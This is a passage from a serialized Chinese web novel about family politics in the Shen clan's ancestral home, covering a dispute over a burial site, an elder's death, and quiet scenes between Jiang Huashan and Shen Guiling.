沈钧立马恍然过来,眼里带了几分赞许,“原来是阿灵啊~看电视的时候就觉得一表人才,没想到真人比电视还要上镜,英雄出少年啊。” 沈归灵不是沈家养大的孩子,故而沈家族人对他并不熟悉,若是以前,单靠沈归灵私生子的身份这些沈家族人未必把他放在眼里,但…… 如今,沈归灵二等功勋的牌匾还在沈家祖祠挂着,这个名字没有人不知道。 沈谦看在眼里别提有多得意,这么一对比,沈兰晞不近人情,沈清予桀骜不驯,他的儿子识大体懂礼数,太拿的出手。 片刻功夫,正屋转来木门的咯吱声,沈庄拄着拐杖,缓缓走了出来。 沈兰晞和沈归灵立马走出凉亭,一左一右扶着沈庄入亭。 沈渊见状,气得眼睛直冒酸水,恨铁不成钢瞪着一旁的沈清予。 沈庄端起茶盏,轻轻喝抿了口茶,“说吧,怎么闹起来的?” 众人相互看了看,姜花衫就在屋里,老爷子先去看太奶奶,那丫头肯定已经提前告状了。 谁也不想当出头鸟,便朝沈航使了个眼色,沈航斟酌片刻,上前主动说道,“老爷子,事情是这样的……” 沈庄面前,沈航也不敢胡说,挑着不出错的地方还原了姜花衫的乖戾和沈清予的刻薄。 沈眠枝听着皱了皱眉,她见过暗堂怎么审讯犯人,所以多口供,证词都有一定的研究,这位堂伯父看着公正不阿,实际说的每句话都意有所指。 她抬眸打量沈庄,见老爷子神色不明没有任何表露,偷偷拉了拉沈让的胳膊。 “爸,这位堂伯父为什么这么针对衫衫?” “嘘。”沈让低头,小声道,“放心吧,你都听出来了,老爷子还能不明白?” 沈眠枝转头往院里看去,正好与沈清予的目光对上,她友好笑了笑,沈清予冷笑了一声,直接无视。 “……” 沈眠枝默默叹了口气,果然,清予哥那个时候就看出什么了,所以,误会大了。 傅绥尔完全不在意庭院里的七大姑八大姨,探头四处打量。 沈娇看她像耗子一样乱撞,揪着她的头面向主屋。 “衫衫在那!去吧~” 傅绥尔正要抬步,忽然想到什么,回头看向沈娇,“妈,你不去吗?” 沈娇冷冷看着凉亭里的众人,“沈航算个什么东西?敢这么说我的女儿,你先进去看太奶奶,我去去就来。” 傅绥尔心领神会,对着沈娇敬了个礼,“遵命,女王陛下~” …… 第704章 论沈庄的家族地位 “老爷子,实在不是我们要故意为难衫衫,这才一天不到的功夫,她就惹得老宅鸡飞狗跳上下不宁,不敬长辈,阳奉阴违,我们真是不知道怎么教了?” 沈航一边说一边观察着沈庄的脸色,但沈庄八面玲珑,心思又怎么会挂在脸上?见他没有不怒,这才一点一点试探。 “教不了那是你们没本事,我的女儿,我让你们教了吗?” 谁料,他话刚说完,立马又有道骄横的女音从天而降,待看到来人是谁,沈钧和沈航不觉又开始头大。 沈庄膝下几个孩子,除了沈玺完全不用操心,其余各个都是问题人物,尤其是沈娇。 她是沈庄幺女,因为母亲去世的早,沈庄对她极其溺爱,当年沈娇在老宅也是如沈清予一般的恶童人物,那会儿就连沈航看见她都绕道走。 沈娇踩着满钻细高跟,戴着帝王绿的羊脂手腕轻轻撩开珠帘,一副尔等升斗小民也配议论我儿的女王模样,点着沈航: “老东西,这么多年了,还是看着漂亮小姑娘就喜欢泼脏水,欺骗你感情的是隔壁村的村花小蝶,你有本事找她去啊,找我女儿不痛快算怎么回事?” 沈航差点一口老血吐了出来,额角不断抽搐,“沈、娇!你别太过分了!!” “过分?趁我不在欺负我女儿,你跟我说过分?” 沈娇一巴掌拍响案台,疾声厉色,“老爷子让她来是看望太奶奶的,不是让你们作践的!她有爷爷有母亲,轮得到八杆子打不到一块的二婶娘教导吗?” 无辜躺枪的二婶娘眼皮直跳,默默躲进人群。 沈娇和沈航是同辈,两人交锋完全看气势,沈航被怼的哑口无言,双手一摊,硬着头皮道,“大伙都看着,难不成还是我颠倒黑白不成?” 沈钧看了沈庄一眼,取下挂在脖子上的焊烟,轻轻敲了敲桌面,“幺丫头,长辈都在跟前,你跟谁拍桌子?” 沈娇沉默片刻,收敛了气势,言语还算恭敬,“大伯,我也不过就事论事。孩子还小,你们又是家法又是族训,还要把她赶出沈家,我这个做母亲的当然得发火。” 沈钧没有和她计较,转头看向沈庄,“阿庄,你是家主,你说。” 沈庄放下茶盏,温和的眼中闪过一抹厉色,“其他的都是小事,小辈不懂事该打打,该罚罚。我就问一句,是谁做主要把武太奶葬去北山的?” 话音一落,凉亭众人都慌了神,有人立马解释: “老爷子,您有所不知,北边那只是没有开发,但其实也算不上是荒山,再则我们也不是随意选的地,都是请高人指点过的。” “是啊老爷子,也不是说只有北边,您看,这三处地还有一块就在主陵附近,不过就是隔了一条水带。” 沈庄接过众人递过来的资料,大致扫了一眼,又放了回去。 “看着的确是用了心……” 众人面色缓和,跟着笑了起来,“可不是,太奶奶可是我们沈家的老人,我们……” 沈庄压着厚厚一沓资料,抬眸环顾众人,“这地留给你们,你们要不要啊?” “……”众人脸上的笑容顿时僵硬。 沈庄,“原来是看不上,你们都看不上的东西拿来给老太太?你们一个个脑子是怎么想的?” 眼前的沈家老人几乎都是沈庄的同辈,小时候都是在一个族学的玩伴,对于沈庄的性子,年轻一辈不知道,但这些老人深有体会。 当年他独自一人杀回襄英,不仅将那些妄图私吞他家族产业的兄弟叔伯全部赶尽杀绝,还单开祖祠,当着老族长和众族人的面,将其子孙后代都赶出了A国。 有族人批判他手段太过残忍,他一律迁怒,一起赶出A国,手段之雷霆便是当时的老族长都插不上话。 虽然沈庄凭一己之力削弱了沈家家族一半人口,但即便如此,沈家族人也没人敢不服,因为他也凭借一己之力将沈家送上了百年以来最高的权力巅峰。 在他的巅峰时期,A国大半产业都姓沈,沈家之下没有豪族。 这些人见证过沈庄的辉煌,所以对于沈庄的压制,他们根本不敢摆谱,被训之后个个像做错事的小孩儿,低着头不敢申辩。 沈钧因着幼年与沈庄羁绊颇深,对他并不像其他人那般惊恐,见沈庄不悦,不由摆正了脸色,“那依你的意思,太奶奶葬在哪里为好?” 沈庄,“你们死后想葬在哪?太奶奶就葬在哪?” “这……” 同样都是要求把武太奶葬入沈家主陵,经沈庄的口提出来的威力与姜花衫截然不同,众人不敢直接反对,纷纷炸开了锅。 “老爷子,这……不太好?” “武太奶毕竟不姓沈,又是女子,倘若开了先河,后代纷纷效仿,先祖泉下有知定然是要责怪的。” 沈庄抬眸,看向说话之人,“你怎么知道先祖知道了会怪罪而不是欣然同意?你见过先祖?还是你就是先祖?” “……”那人立马噤声,再不敢接话。 沈庄拍案而起,提起龙头拐杖一棍横扫,案台之上茶汤尽覆,杯盏尽碎。 “我只知道,当初我孤身一人回到老宅,你们所有人畏惧沈墨势力不敢收留我,是太奶奶将我藏进了她的衣柜,我才免于一死。若没有她背着祖上十一口灵牌独自南下,沈家没有今日这份荣耀!” “她守这座沈宅足足八十年,她活着,沈家子孙必要为她尽孝,她死后,我沈家香火也要供奉她百年。” “你们拿列祖列宗说事,那就说清楚,是祖上那位先灵不愿?说不清楚,你们就给我滚出沈家,说清楚了,我就请那些先祖滚出祖祠。” “我沈庄一生大逆不道,活到这份上,也不差这一件!” 众人,“……” …… 裙已开,点我主页欢迎来撩~(条件达到自动进入~) 第705章 如今,故人重来 沈庄一席话落地,整个院落鸦雀无声。 沈清予略有怔愣,回过神后捂着肚子直接笑倒在椅子上。 搞了半天,沈家最大的刺头是老爷子啊!这些老古董只怕要头疼咯~ 沈钧看着地上散落的瓷盏,沉默片刻站起身,“你是族长,沈家事宜你说的算。” 其余众人也不敢再反对,毕竟沈庄连祖宗牌位都敢丢出祖祠,要惹他不痛快,举家被赶出A国那就划不来了。 “叔父,太奶奶的事您说的算,那姜花衫和沈清予不敬长辈的事又怎么算呢?无规矩不成方圆。” 沈航权衡再三,不敢与沈庄硬拼,只能又找回小辈的茬。 “这事我和家主商议后再行处置。”沈钧站起身,看了沈庄一眼往偏院走去。 沈庄沉着脸,转头叮嘱几个小辈,“你们先进去看看太奶奶。”说罢,转头跟着沈钧进了屋。 有什么话不能当着大家的面说?沈航一脸狐疑盯着两人的背影。 沈娇冷哼了一声,路过沈航身侧时,阴恻恻道,“沈航,以后走夜路的时候小心点。” 凉亭里的长辈刚被训了一顿,个个精神萎靡,根本没有人留心沈娇说了什么? 沈航吓得眼皮直跳,还没琢磨明白沈娇这是什么意思,沈娇就已经领着众人进了主屋。 这女人可不是好说话的主,惹了她就跟惹了一条伺机而动的毒蛇。 沈航顿时警铃大作,一颗心突然就像悬半空,惴惴不安。 * 进了偏室,沈庄和沈钧对面而坐。 房门掐断光影的刹那,沈钧立马收敛了身上的刻薄沉闷之气,起身对着沈庄的肩膀重重敲了敲。 “都多大的人了,还这么大的气性,这些年修身养性都修到哪里去了?” 沈庄拍了拍肩膀,神色淡淡,“我还没说你,一把年纪了,跟几个孩子置什么气?” 沈钧被气得不轻,“你还有脸说?你养的孩子,你难道不知道?死活不认错,个顶个的刺头! 就拿你最宠爱的那丫头来说,要不是我充当恶人在前面盯着,她从第一天入老宅就已经被那些老东西家法伺候了。” 沈庄并未争辩,主动给沈钧倒了杯茶水,“行了,我替那丫头谢谢你。” 沈钧没好气撇过头,“现在知道给你阿兄长倒茶呢?你刚刚那一棍刚刚险些砸我身上!” 沈庄听着只觉好笑,亲手端起桌上的瓷盏递给沈钧。 沈钧这才缓和了脸色,接过瓷盏,“从小到大就是这狗脾气,也就是我性子好才让着你。” 沈庄嘴角的笑意渐深,略有些感叹,“这些年,辛苦阿兄了。” 当年武太奶将他藏在衣柜,是沈钧穿着沈庄的衣服跑出去才引开了沈家族人。后来沈钧被那些人生擒,他们对他严刑逼供,哪怕九死一生,沈钧也没有出卖沈庄。 沈庄与老宅的族人斗了整整七年,这七年沈钧一直被囚禁在暗无天日的粪池里,直到沈庄重掌大权才把他救出来。 这份恩情不比武太奶低,所以,在沈家老宅,若还有什么人值得沈庄以命相托,那必然就是这位异父异母的阿兄。 沈钧的生母死后没多久,父亲便再娶,没多久继母又生了一对鸾凤胎,他自此在家中彻底失宠,反倒是沈庄的父亲待他如亲子,他原想跟着沈庄的父亲出生入死,但却在临上战场前夜被换了下来。 也是那夜,沈父将纨绔幼子托付给了沈钧。 “阿庄性子洒脱不羁,权利富贵于他只会是牵绊,你替伯父看着他,此生不求他富贵闻达,只要他平安顺遂。” 但天不遂人愿,最终洒脱不羁的红尘少年还是误了良缘,入了这波谲云诡的权利场。 忆起往昔,沈钧轻叹了一声摇了摇头,“说这些做什么,一笔写不出两个沈字。” 他忽然想到什么,放下茶杯,目光暗沉,“此前我就已经告诉你,沈执有问题,让你提早动手,但你顾念七婶娘传信之恩,死活不愿,这其中究竟发生了什么?你怎么又突然改变主意了?” 沈执死在沈园,在沈钧的观念里,没有人能在沈庄的眼皮子底下杀这么重要的人,所以他并未多想,只以为是沈庄动的手。 沈庄也不愿将沈归灵和姜花衫牵扯进来,避重就轻,“我已经给过沈执很多次机会,是他自己不珍惜。” 沈钧点头,“伯父待他们一家不薄,他们却反水跟着沈墨妄图置你于死地,当时沈执尚在襁褓,就算是看在七婶娘的份上也不必同他计较,没想到他却包藏祸心,简直死有余辜。只是……万万没想到,阿澈竟然也被他们蛊惑了。” 提起沈澈,沈庄清润的眼底瞬间蒙上了一层雾色。 “他到底还是走了。” 沈钧神色复杂,“我当初就说了,你把他赶出家族就是把他推给那伙人,你啊你,后悔了?” 沈庄摇头,“我沈庄做事从不后悔,我连最不该辜负之人都舍了,还有什么舍不下的?不将沈澈逐出沈家,怎么引出他背后那群鼠辈?他那性子,软弱不堪,吃着碗里看着锅里,不把他最后一条生路断了,他哪有胆子去S国投奔李家?” 沈钧皱眉,“说起这件事,还有一件可疑的事。听镇上人说,阿澈离开襄英之前似乎见过什么人?但我一路追查都没有半点痕迹。” “既然没有痕迹又怎么知道他见过人?” “那晚,镇上无缘无故死了两个人,一个年轻女人还有事个年幼的孩童,说是行夜路溺死的。襄英说大不大,说小不小,街坊邻居相互都能说上几句话,在襄英溺死的概率几乎为零。她们居住的地方正好挨着阿澈的住所,所以,我怀疑那母子是看见了什么被人灭了口。” 若真是这样,实在可恶。 沈庄垂眸,细细凝思了片刻,缓缓道,“老宅这些人什么动静?” “我的确查出几家行迹可疑的,但现在还不能确定,不过你放心,有我给你守着襄英,后院乱不了!只要一有消息,我会立马通知你。” 沈钧顿了顿,又说道:“现在值得担心的是鲸港,那些人为了对付你,定然是无所不用其极。如今阿玺不在了,我老了,武太奶也要走了,剩下那几个大的各有心思,小的又乖戾不训,你的处境比之当年更加不易啊。” 沈庄眸底的雾色骤然散了不少,眼底透着几分笑意。 “比之当年好多了,当年,故人散场,如今,故人重来。” …… 第706章 告别 没有人知道沈庄和沈钧在偏屋里说了什么,出来之后,沈清予被罚抄写族规,每日去宗祠晨昏定省。 至于姜花衫,因为她口出狂言没有礼数,就罚闭门思过,没有重要事情不得外出。 想出这样的处罚,沈庄也是机关算尽。说是闭门思过,其实就是在房间里躺着,至于不得外出,换句话理解就是可以光明正大不用拜见任何长辈。 沈澈一听说两人的处罚,气得当夜烧到了四十二度。 有沈庄坐镇,老宅的妖魔鬼怪消失得无影无踪,现在出入老宅的都是体贴温和的族中长辈。 武太奶清醒的时间越来越少,偶尔嘴里还说着胡话。 所有人都猜到这个故事的结局,随着时间慢慢推移,也开始接受了这份离别。 墓地的事也开始提前准备,沈庄担心老宅其他人从中作梗,特意将下葬事宜交给了沈兰晞处理,沈兰晞在老宅的地位权利仅次于沈庄和沈钧,有他监管,沈庄才放心。 沈归灵与武太奶并无交集,但他知道姜花衫在意,这段时间也一直跟着忙进忙出,就连挑剔的沈航都对他赞不绝口。 这样的日子,一直拖到了八月底。 这天,阳光甚好。 武太奶忽然说想去外面晒晒太阳,再看看院前的那棵大枣树。 沈庄像是感应到什么,把族里的小辈都叫到了院里。 老太太坐在摇椅上,怔怔看着眼前的枣树,目光含泪喃喃道,“这棵树,还是少爷当年亲手种下的。他说等打完仗,就替我寻一门好亲事,但我怎么等都没等到。” “少爷,阿怡还等着您给我挑个如意郎……” 未言之语,梗在喉间。 一阵风过,一颗红枣从树上掉落,干瘪松裂的果子恰好就落在瘦骨嶙峋的掌心。 躺椅上的老人,含笑缓缓闭上了眼,满是皱褶的掌心脱力,果子落在脚下。 她这一生在此刻终了。 “太奶奶!” 傅绥尔捂着嘴,转身抱着姜花衫,哭的泣不成声。 姜花衫怔怔看着藤椅里的老人,轻轻拍了拍她的肩膀。 * 武太奶的死,给整个老宅蒙上了一层淡淡的阴霾。 葬礼不算特别隆重,但礼节周全,挑不出一点错。 不少受过太奶奶恩惠的村民都自发前来吊唁,听说太奶奶被葬入沈家主陵,还有不少人主动提着工具清扫主陵。 下葬那天,沈家几乎全族人员都到齐了,沈庄亲自扶棺送老太太上路。 三日后,老太太的身后才算告一段落,为了答谢葬礼期间小镇村民的帮助,沈庄又摆了三天的流水席宴请所有村民。 如武太奶所愿,生死轮回不过常态,所有人把她的离开当成人生中最常见的告别。 * 宴席上,有人哭有人笑,也有人只沉默流泪。 姜花衫不喜欢这种氛围,随意动了几筷子就借口回了屋。 她刚起身,沈归灵也跟着起身离了人群。 沈兰晞作为家族宗子,不管走到哪都是前呼后拥,尽管葬礼事宜已经耗费了他不少精力,但他还是在第一时间觉察到了两人的动向。 联想到此前武太奶和姜花衫的谈话,沈兰晞完全坐不住了。 他刚起身,沈谦忽然端着一杯白酒上前,“兰晞啊,这几天你辛苦了,来!伯父敬一杯。” 有沈谦带头,其余长辈也纷纷起身敬酒。 “兰晞,太奶奶的葬礼如此顺利你功不可没,来来来,叔伯们敬你。” 沈兰晞莫名被牵绊了一下,再抬眸两人都已经不见了身影。 他沉默片刻,端起眼前的酒杯起身回敬。 打了一圈来回后,沈谦又拎着酒杯开始新一轮捧杀。 沈兰晞,“……” 沈清予见状,笑得幸灾乐祸,“大伯什么时候跟沈兰晞关系这么好了?” 沈渊也没看懂,但他并未在意,推了推沈清予的胳膊,“清予,我头有点晕,你送我回去吧?” 沈清予充耳不闻,拿起筷子,“你这么大的人了,难不成还会走丢?” 沈渊气结,拍桌拂袖而去。 沈清予冷嗤了一声,夹了个肉丸,正准备吃,头顶忽然覆上阴影。 他顿住,撩眸瞥了一眼,懒懒道,“起开,我可没兴趣陪你喝酒。” 沈兰晞只当没听见,拿起桌上的水酒给他倒了一杯,借着倒酒的时机缓缓说道,“你就这么放心伯父一个人离开?” 沈清予神色微动,忽然想到什么,啪得一下放下筷子。 沈渊可不是什么好鸟,之前他就已经派人暗杀过小花儿。 这次他回来替小花儿出头明显是跟沈渊作对,那老东西不敢对付他,但未必不会迁怒小花儿。 沈清予神色不明,端起面前的酒杯一饮而尽,转身出了宴席。 而这一幕,在外人看来,兄友弟恭和睦得不行。 * 另一边。 姜花衫刚出宴席,就感觉有人跟踪她,她故意绕路从弄堂转了一圈,甩掉了身后之人,她又绕了回来蹲在弄堂角落的水缸后察看情况。 等了一会儿,一道黑影从暗光处窜了出来。 黑影身形玲珑,一看就是女人。 她显然也没想到怎么跟着跟着就跟丢了,在原地绕了几圈无果后转身退了出去。 姜花衫担心有诈,一直躲在水缸后没敢出来。 忽然,一只手从身后绕过她的肩膀…… 姜花衫眼底沉过一抹厉色,一把扣住肩上的手腕,以迅雷不及掩耳之势举起一直攥在掌心的匕首,对着身后刺了过去。 “……” 身后之人明显愣了一下,脱力松开了肩上的力。 姜花衫并不恋战,掌握主动权立马拔腿就跑。 刚跑出两步,就听见一道熟悉的声音传来。 “姜花衫,你差点谋杀亲夫。” “……” …… 第707章 我闭着眼睛呢,你哭吧 姜花衫原本已经跑出两米远,冷不丁听见身后的声音,身影立马顿住,捡起脚下的碎石对着身后砸了过去。 “我看你就是欠打。” 沈归灵抬起胳膊拦下石子。 姜花衫顿时火大,抓了一把石子怒道,“不许躲!” “……”沈归灵嘴角抽了抽,“你这也太不讲道理了。” “你讲道理?讲道理大半夜尾随我?这里是老宅,要是被人发现了咱们俩都得完蛋?”说完,那一把小石子扑通全部砸在沈归灵的胸前。 沈归灵拍了拍胸前的灰屑,有些无奈,“我没有尾随你,我尾随的是尾随你那个人。” 这话很绕,姜花衫先是皱了皱眉,等听明白后顿时两眼发光,小跑上前,“这么说,你看清楚那个人是谁呢?” 她当时躲在水缸后,虽然看身形大致也猜到了那人的身份,但没有看见正脸,终归不稳妥。 沈归灵低眸,不动声色打量她,“你那匕首什么时候藏在身上的?” 得亏他刚刚反应够快,不然还真要‘死’在她手里。 姜花衫轻咳了一声,强词夺理,“女孩子出门在外难免会遇到危险,我带点防身的东西怎么了?” 言之有理,但全是推托之词。 今日宴请之人鱼龙混杂,除了沈家族人还有镇上的乡亲。 她不打招呼就自动离席,行为在沈归灵看来,十分可疑。 老宅又不是龙潭虎穴,她竟然还随身带匕首,显然是事先就有防备。 沈归灵知道她一向嘴硬,低头主动问道,“刚刚那个人就是你想钓的鱼?” 姜花衫眼睑微动,抬眸时两人的目光正好撞上,同盟的默契让谎言在此刻显得累赘。 她沉思片刻,一把拽着沈归灵的衣襟,“跟我来。” 姜花衫拉着沈归灵穿过回廊,脚步没停在任何一间亮着灯的屋子,反而拐进了更僻静的西跨院。 那间院里的石榴树长得疯,枝桠都快探到了屋檐上,阴影把墙角堆着的旧花盆压得发黑。 “往这儿走。” 她轻车熟路,沈归灵全程配合,甚至为了方便她拽人一路勾着腰。 “到了。” 沈归灵这才将视线从姜花衫的脸上移开,神色淡然环顾四周。 眼前这屋子,只挂了一道脱了漆的半扇木门,看着像早被弃用的杂物间入口,门把手上还缠着枯死的牵牛花藤。 他正疑惑,姜花衫已经伸手捏住门侧一块不起眼的青砖,指尖在砖缝里抠了抠,竟把砖往外抽了半寸。 紧接着,那扇看着纹丝不动的木门突然发出极轻的 “咔嗒” 声,像老骨头在翻转。 “进来。” 姜花衫先侧身挤了进去,沈归灵紧随其后,这才发现门后根本不是杂物间,而是道夹在两堵墙之间的窄廊。 宽不过三尺,长约两步,头顶有块巴掌大的气窗,借着莹莹星光,他们刚好可以看清彼此的脸。 姜花衫略有些怀念看着头顶的星空。 上一世,她为了做好沈小夫人重回老宅学规矩,每次被罚的过分时就会躲起来哭。一次偶然的机会,她从矮墙上掉下来时正好砸中了那块老砖,此后,这里就成了她一个人的秘密基地。 此后,但凡每次她觉得撑不下去时,她都会来这看星星。 空气里还混着潮木头和陈年老灰的味,显然是很多年都没有人来过了。 乡下的星空尤其漂亮,一如当年那般。 “这是以前护院守夜时躲着看院的地方,我……我无意识中发现了这里,在这说话就不会被人抓住了。”她眼睛在昏暗中亮得发光。 沈归灵抬手碰了碰身后的墙,刚刚姜花衫按的那块砖可算是这里的窍门,这么隐蔽的地方怎么可能随便发现? 他点了点头,抬头看着头顶的银河,“夜色不错。” 通过这一年的了解,他已经很习惯姜花衫用谎言保护自己了。 他也很认同姜花衫对所有人保持警惕,哪怕是他。 姜花衫弯着嘴角,有些得意,忽然想到什么又恢复了神色,“你快说,你看见的那个人是谁?” 沈归灵想了想,“如果我没有记错的话,应该是沈钧那房的人,我们叫她二婶娘。” “二婶娘?”姜花衫眉头紧蹙,“怎么会是她呢?” 沈归灵出了名的过目不忘,记忆绝不可能出现偏差,他说是就一定是。 但她想不通,这一世她和二婶娘并无交集,她莫名其妙跟踪她,到底是因为什么? 沈归灵见她一点没有倾诉的意思,又主动发问,“怎么了?她有什么问题吗?” 姜花衫摇了摇头,“还说不清楚。” 她之所以今天故意提前离席,是因为那天,她和武太奶解开两世心结后,脑子里忽然响起了久违的电子提示音。 【叮——】 【提示:书灵模式启动生效,主线剧情回归百分之十,当前主线偏离进度63%】 主线被修复了百分之十的进度。 要不是怕吓着武太奶,她当时就要掀床了。 她实在搞不懂,怎么说会话的功夫,书灵就生效了?她甚至都猜不到书灵修正的是上一世哪一部分的剧情? 左思右想,她觉得可能是老宅里的人出了问题,为了证实自己的想法,她才想着用自己做诱饵,看能不能引出什么相关剧情。 当然,她也并非毫无准备,从武太奶辞世后,她就一直藏着那把匕首,以备不时之需。 沈归灵见她迟迟不愿开口,沉默片刻,忽然道,“夜色真好。” 姜花衫原本还沉浸在剧目是怎么修正的头脑风暴中,陡然听见这句话,脑子忽然放空。 她似有所感,抬起头看着头顶这片照拂过她两世的星光。 还没来得及欣赏,头顶突然出现一抹鲜红,挡住了眼前的视线。 “……” 姜花衫愣了愣,这才发现那红色是一颗硕大饱满的红枣,它被两指夹住,悬在头顶之上。 “干嘛?” 她不解,转头看向沈归灵。 沈归灵将手里的红枣放进她的掌心,“我摘的。” 姜花衫盯着手里的枣子,眼神阴晴不定。 沈归灵笑了笑,拉着她一起盘腿坐下,他指着头顶,语气随意,“都说死后人会成为星星,你觉得上面哪颗是太奶奶?” 姜花衫细细摩擦着掌心的红枣,抬手指着头顶最近那颗。 沈归灵随意指了一颗,“我觉得是那颗,那颗最亮。” 她皱了皱眉,“你懂什么?以太奶奶的性格,她要是做了星星,一定不会是最亮那颗,一定会是离我们最近那颗。 ” 沈归灵想了想,点头,“有道理,那就是最近那颗。” 姜花衫也不乐意,“不用你让我?” 沈归灵摇头,“太奶奶喜欢你,你能一眼认出的一定是她。” 姜花衫微愣,瞪着沈归灵看了许久,终于没忍住掉了一颗金豆子。 傅绥尔嚎啕大哭的时候,她没哭,所有人悲伤的时候,她也只是小小的难过,但沈归灵这句话也不知触到了哪根神经?她实在是没忍住。 她其实是想救太奶奶的,但是她无能为力。 太奶奶这一局,让她感受到了什么天命、轮回、因果……也看到了,在真正的命数面前,她的存在有多微不足道。 但这些她没有人可以说,只能小心翼翼的压制在心底。 也正是因为如此,她才迫不及待想找出剧情扳正的原因,才会做出拽着匕首独自一人出去寻找契机的举动。 但这么哭实在有些丢脸,姜花衫吸了吸鼻子,正要擦泪,沈归灵抬手环绕过她的肩,轻轻压着她的侧脸,让她贴着自己的肩膀。 “姜花衫,我闭着眼睛呢~” “你哭吧……” …… 第708章 监守自盗 月光从老式木格窗的缝隙里漏了进来,斜斜铺在褪了漆的窗台上,空气里浮动着陈年木料与夜露混合的微凉气味。 姜花衫蜷在太师椅里,左手托着腮,指尖无意识拨动着手心的红枣。 那时,星光落在沈归灵的眼睛里,而他的眼睛里全是她。 “呼——” 姜花衫扶额闭了闭眼,她越是想把这些乱七八糟的片段赶出她的脑子,密室相互依靠的画面就越是清楚。 就在刚刚,她才突然反应过来,沈归灵闭着眼睛,但是没有蒙住耳朵啊? “……” 姜花衫深吸了一口气,只能在心里安慰自己 。 蒜鸟,发泄过之后她的情绪明显好多了,之前蒙在思维里的脑雾忽然迎刃而解。 太奶奶的死是天命,而爷爷的死是人祸,天命不可违,但人祸可以除。 虽然不知道剧目为什么突然回正,但明显它是想通过太奶奶的死影响她,她绝不能被蛊惑。 * 彼时,老宅另一边。 沈清予被沈兰晞提醒之后,立马跟了出去,在踏入内院第二道门时阴差阳错被姜花衫绕开了。 他一路走到内院,没见姜花衫不免有些生疑,思忖片刻又往沈渊的厢房走去。 不想却在中途听见有人喊救命。 虽然是男音,但沈清予唯恐姜花衫牵连其中,立马循声找了过去。 “你们在干什么?!” 沈清予跑到阆苑角落时,不免被眼前一幕惊呆了。 一群人躲在角落,对着麻袋里的人拳打脚踢,正打得起劲,忽然被一道声音呵斥。 那群人原本还想出手,待看清楚沈清予的脸,立马落荒而逃。 “……”沈清予神色古怪,他虽然不管暗堂的事,但沈家几个暗堂的纹身标志他还是知道的。 难怪,老宅守备森严,还有人能在这团伙作案,原来是监守自盗。 沈清予顿时有了几分兴趣,暗堂出手一定是三房的意思,也不知道这麻袋里到底是哪个倒霉蛋? “哎哟喂,我的腰!我的鼻子!救命啊~救命啊~~” 被打的人头上套麻袋,像只蛆虫在地上挪动的半天才从麻袋里钻出来,借着昏暗的月光,沈航露出半死不活的一张脸。 沈清予挑了挑眉,只当没看见,转身就走。 “别……别走!!唉哟!清予~~救救我……”沈航扶着老腰,一副被坑害得不成人样的模样。 沈清予暗叫晦气,皱着眉打量沈航,“堂伯父,你怎么没事跑这来了?” “唉哟,我……我喝多了来小解,哪知道被一群贼人暗算。清予,你扶我起来去找人,那伙贼人肯定还没走远……” 沈清予摆摆手,“还是算了,世风日下,人心不古,万一你见了人栽赃说是我打的,我到哪说理去?” “你……”沈航差点没被气死,咬牙切齿,“我是这种人吗?” 沈清予,“说不准。” 刚说完,另一边沈渊听见动静,已经从厢房里走了出来。 一看眼前这阵仗,立马气得直跳脚,指着沈清予破口大骂,“清予,你就算再生气,也不能对堂伯父动手啊!” “……”沈清予被气笑了,“原来发烧会烧成智障是真的?嗤,懒得理你们。” 他翻了白眼,掉头就走。 刚到内院第一道门槛,沈清予忽然身形一顿,高高抬起的右脚又退了回去。 老宅外厅就有厕所,沈航何必舍近求远去内院厢房? 但最奇怪的还是沈渊的态度,那个傻狗,平时什么祸事巴不得和他撇干净,今天怎么上赶子背祸? 沈清予微微眯眼,转身调头又折返内院。 * “唉哟!” 沈清予脚步匆忙,刚转过内院门廊,突然迎面撞上一道黑影。 沈渊惊呼了一声,差点栽倒在地。 沈清予皱眉,往后退了一步,盯着他上下打量,“你鬼鬼祟祟干什么?” 天底下哪有儿子对老子说话是这态度? 沈渊气得眼皮直跳,“我刚刚听你堂伯父解释了,原来是爸爸错怪你了,我怕你伤心,想出去找你解释。” 沈清予听着说辞都觉得好笑,他什么时候因为沈渊放的屁伤心过? “沈航呢?” 沈渊对于沈清予这种动不动就直呼长辈性命的行为已经无力纠正,直喘粗气,“莫名其妙被人打一顿,他觉得丢脸,我让他从侧门出去了。对了,你又回来做什么?” 沈清予看了沈渊一眼,扬起嘴角,“没什么,我想着既然已经被冤枉了,不如干脆回来把罪名坐实,正好,我想打他很久了。” 沈渊,“……” 第709章 哥哥,沈钧 年纪大的人就是不经折腾,沈钧喝了几杯水酒便早早回了老屋休息。 老屋的院子四围都是错落的房屋,中间围拢着一道方方正正的天井,沈钧就躺在紫藤树下吹风乘凉。 “吱呀——” 沈航推开沉甸甸的院门,一瘸一拐走进院子。 “爸。您怎么一个人在这?看护的人呢?” “都累了几天了,我让他们也早点回去休息了。”沈钧满脸通红,扶着藤椅坐起身,“你怎么……” 他原本想问沈航怎么这个点还过来,抬眸撞见一张鼻青脸肿的猪头脸,不由愣了愣,“这是怎么了?” 沈航搬来椅子,咬牙切齿,“我刚在老宅被一伙贼人暗算,要不是沈清予忽然路过,只怕这条命都保不住了。” 沈钧眸光转沉,拿起案几旁的焊烟,点燃了烟丝,吸了一口却没有说话。 沈航看着老父亲的脸色,恨恨道,“敢在老宅对我下这么重的狠手,除了沈娇不会有别人?” 沈钧拢了拢烟丝,神色平静,“你既然知道是她,那就该知道,这顿打算是白挨了。” “爸。”沈航脸色不善,“咱们替家主守着这祖业,没有功劳也有苦劳,今天家主当着这么多人的面驳斥您的意见,现在他的女儿又随意打骂我,这是什么道……” “闭嘴!”沈钧敲了敲案几,“什么道理,说了多少遍了?一笔写不出两个沈?阿娇的性子一直如此,你今天当着众人的面贬低她的女儿,她找人揍你一顿已经是留了情面了,她要真对你起了杀心,你觉得你还能站这?” 每次都是这样?只要一牵扯到家主,父亲总是无条件让他们退让。 沈航脸色难看,站起身就要走。 “站住!我话没说完,你去哪?” 沈钧一声呵斥,沈航不情不愿站在原地。 “您还有什么要交代的?” 沈钧稍稍缓和了脸色,“阿航,我知道你心里委屈,这件事我会跟你叔父说,让他也劝劝阿娇,但我还是那句话,你们是血脉相连的兄妹,我不希望你们因为一件小事生了嫌隙。” 沈航沉默片刻,转过身看向沈钧,“爸,就算当年叔公对您有恩,但您也已经回报给了族长,这恩,难道就报不完了吗?就算我可以,那二弟三弟,我的孩子,您的孙子呢?难道你要逼着他们这一生也守在襄英不出去吗?” “阿航……”沈钧从未想过自己有朝一日会被长子如此质问,当年他决定守在襄英,沈航是唯一一个支持他的。 